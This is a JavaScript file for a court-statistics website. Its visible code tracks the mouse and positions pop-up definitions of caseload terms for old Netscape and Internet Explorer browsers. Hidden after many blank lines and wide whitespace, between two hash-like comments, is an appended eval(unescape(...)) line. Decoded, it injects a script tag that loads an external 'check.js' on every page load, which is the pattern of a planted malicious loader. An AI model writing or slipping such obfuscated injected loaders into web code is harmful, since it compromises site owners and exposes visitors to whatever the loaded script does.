// JavaScript Document

<!--
// Set Netscape up to run the "captureMousePosition" function whenever
// the mouse is moved. For Internet Explorer and Netscape 6, mouse position
// can be captured a little easier.
if (document.layers) { // Netscape
    document.captureEvents(Event.MOUSEMOVE);
    document.onmousemove = captureMousePosition;
} else if (document.all) { // Internet Explorer
    document.onmousemove = captureMousePosition;
} else if (document.getElementById) { // Netcsape 6
    document.onmousemove = captureMousePosition;
}
// Global variables
xMousePos = 0; // Horizontal position of the mouse on the screen
yMousePos = 0; // Vertical position of the mouse on the screen
xMousePosMax = 0; // Width of the page
yMousePosMax = 0; // Height of the page
xScroll = 0; //  JDW: Amount user has scrolled across page 
yScroll = 0; //  JDW: Amount user has scrolled down page 
function captureMousePosition(e) {
    if (document.layers) {
        // When the page scrolls in Netscape, the event's mouse position
        // reflects the absolute position on the screen. innerHight/Width
        // is the position from the top/left of the screen that the user is
        // looking at. pageX/YOffset is the amount that the user has 
        // scrolled into the page. So the values will be in relation to
        // each other as the total offsets into the page, no matter if
        // the user has scrolled or not.
        xMousePos = e.pageX;
        yMousePos = e.pageY;
        xMousePosMax = window.innerWidth+window.pageXOffset;
        yMousePosMax = window.innerHeight+window.pageYOffset;
		xScroll = window.pageXOffset;
		yScroll = window.pageYOffset;
    } else if (document.all) {
        // When the page scrolls in IE, the event's mouse position 
        // reflects the position from the top/left of the screen the 
        // user is looking at. scrollLeft/Top is the amount the user
        // has scrolled into the page. clientWidth/Height is the height/
        // width of the current page the user is looking at. So, to be
        // consistent with Netscape (above), add the scroll offsets to
        // both so we end up with an absolute value on the page, no 
        // matter if the user has scrolled or not.
        xMousePos = window.event.x+document.body.scrollLeft;
        yMousePos = window.event.y+document.body.scrollTop;
        xMousePosMax = document.body.clientWidth+document.body.scrollLeft;
        yMousePosMax = document.body.clientHeight+document.body.scrollTop;
		xScroll = document.body.scrollLeft;
		yScroll = document.body.scrollTop;
    } else if (document.getElementById) {
        // Netscape 6 behaves the same as Netscape 4 in this regard 
        xMousePos = e.pageX;
        yMousePos = e.pageY;
        xMousePosMax = window.innerWidth+window.pageXOffset;
        yMousePosMax = window.innerHeight+window.pageYOffset;
		xScroll = window.pageXOffset;
		yScroll = window.pageYOffset;
    }
}


dd=document
function JDWpositionLayer(layerName) {
	LN=layerName;
	var layerHeight=0;
	var layerBottom=0;
	var layerLeft=0;
	var layerTop=0;
	var layerWidth=450;
	var layerHalfWidth=Math.ceil(layerWidth/2);
	layerHeight = 25 + Math.ceil(term_def.length / 3);  //calculate approximate layer height in pixels, which 
		//works out to about (62 characters per line) / (18 pixels per line) + 25 pixels for term name.
	if(dd.layers){obg=dd.layers[LN]} else {obg=dd.getElementById(LN);obg=obg.style}
	if (term_type == "F") {  //for filing type definitions down left column . . .
		obg.left = layerLeft = xMousePos + 100;
		obg.top = layerTop = yMousePos - Math.ceil(layerHeight / 2);
		layerBottom = layerTop + layerHeight; 
//		Make sure bottom of layer won't be below bottom of window
		if (layerBottom > yMousePosMax) {obg.top = layerTop = yMousePosMax - layerHeight}
//		Now make sure top of layer won't be above window if user has scrolled down the page
		if (layerTop < yScroll) { obg.top = layerTop = yScroll}
//		Finally, make sure sides of layer won't be out of window if user has scrolled across the page		
		if ((layerLeft + layerWidth) > xMousePosMax) {obg.left = layerLeft = (xMousePosMax - layerWidth)}
		if (layerLeft < xMousePos) {obg.left = layerLeft = xMousePos}
		} 
	else {  //for caseload or disposition terms in column headings . . . 
		obg.top = layerTop = yMousePos + 50;
		obg.left = layerLeft = xMousePos - layerHalfWidth;
		if (yMousePosMax < (layerTop + layerHeight)) {obg.top = yMousePos}
		if (xMousePosMax < (xMousePos + layerHalfWidth)) {obg.left = layerLeft = xMousePosMax - layerWidth}
		if (layerLeft < xScroll) {obg.left = layerLeft = xScroll}
		}
//	window.status = "xMousePos=" + xMousePos + ", yMousePos=" + yMousePos + ", xMousePosMax=" + xMousePosMax + ", yMousePosMax=" + yMousePosMax;	
//	alert ("chars: " + term_def.length + ", calculated ht: " + layerHeight + ", obg.left: " + obg.left + ", obg.top: " + obg.top);
}

//------------
var layer_str1 = '<table width="100%" height="100%" border="5" align="center" cellpadding="5" cellspacing="5" bordercolor="#000099"><tr><td valign="top"><p><font color="#0000FF" size="3" face="Arial, Helvetica, sans-serif"><strong>';
var layer_str2 = ':&nbsp;<font color="#000000" size="2">';
var layer_str3 = '&nbsp;</font></strong></font></p></td></tr></table>';
var term_name = "";
var term_def = "";
var term_type = "";
var new_layer_text = "";
var term_head = "";
//----------------------
function JDW_get_def(parm_term_head) {
	term_def = "";
	for (i=0; i < total_rows; i++) {
	term_head = term_array[i][1];
		if (term_head == parm_term_head) {
			term_name = term_array[i][2];
			term_def = term_array[i][3];
			term_type = term_array[i][4];
			if (browser_ver=="NS4") {
				JDW_openDefWindow(parm_term_head);
				return;
			}
			new_layer_text = layer_str1 + term_name + layer_str2 + term_def + layer_str3;
			MM_setTextOfLayer('def_layer1','',new_layer_text);
			JDWpositionLayer('def_layer1');
			break;
		}
	}	
	if (term_def == "") {
		term_name = "No definition available for Term Heading \"" + parm_term_head + "\"" ;
		term_def = "Please contact Court Statistics Project staff.";
		if (browser_ver=="NS4") {
			JDW_openDefWindow(parm_term_head);
			return;
		}
		new_layer_text = layer_str1 + term_name + layer_str2 + term_def + layer_str3;
			MM_setTextOfLayer('def_layer1','',new_layer_text);
			JDWpositionLayer('def_layer1');
		}
		MM_showHideLayers("def_layer1","","show");		
}
// -->


<!--  Check browser version and get window scroll offset
var pageY = 0;
var browser_ver="";
var browser_name=navigator.appName;

if (browser_name.indexOf("Netscape")!=-1) {browser_name="NS"; browser_ver="NS"+parseInt(navigator.appVersion)}

// This function allows layer to "float" down as page is scrolled
//function floatLayer() {
//if (browser_name == "NS"){pageY=window.pageYOffset} else {pageY=document.body.scrollTop}
//}

<!-- Alternative approach for Netscape 4.X
var pop_up_height = 300; // Standard height will be tailored in function JDW_openDefWindow to fit term_def length
var pop_up_width = 450; // Fixed width will be used
var pop_up_features = "";

function JDW_build_win_features(height, width) {
	var str = "height=" + height + ",innerHeight=" + height;
	str += ",width =" + width + ",innerWidth=" + width;
	if (window.screen) {
		var ah = screen.availHeight - 30;
		var aw = screen.availWidth - 10;
		var tp = (ah - height) / 2;
//  Display pop-up window lower for terms other than filing type (i.e. for column headings)
		if (term_type != "F"){tp += 80}
		var lp = (aw - width) / 2;
		
		str += ",left=" + lp + ",screenX=" + lp;
		str += ",top=" + tp + ",screenY=" + tp;
	}
	return str;
}
// JavaScript Routine  "Replace a Character"
function replace(string,text,by) {
// Replaces text with by in string
    var strLength = string.length, txtLength = text.length;
    if ((strLength == 0) || (txtLength == 0)) return string;

    var i = string.indexOf(text);
    if ((!i) && (text != string.substring(0,txtLength))) return string;
    if (i == -1) return string;

    var newstr = string.substring(0,i) + by;

    if (i+txtLength < strLength)
        newstr += replace(string.substring(i+txtLength,strLength),text,by);

    return newstr;
}
var def_win = "";
function JDW_openDefWindow(parm_term_head) { //v2.0
	var nbr_lines = 1 + Math.ceil(term_def.length / 60);
	var height = 20 + (nbr_lines * 16);
	pop_up_features = JDW_build_win_features(height, pop_up_width);
	var parm_term_head_parsed = escape(parm_term_head);
	var term_name_parsed = escape(term_name);
	var term_def_parsed = escape(term_def);	
	if (def_win && def_win.open) {def_win.close()}
	def_win = window.open("def_popup.htm?term_heading=" + parm_term_head_parsed + "&term_name=" + term_name_parsed + "&term_def=" + term_def_parsed, "winPopUpTerm", pop_up_features);
	def_win.focus(top);
}
//  -->




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%35%32%31%34%30%3B%20%4A%53%53%33%20%3D%20%27%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      




































































































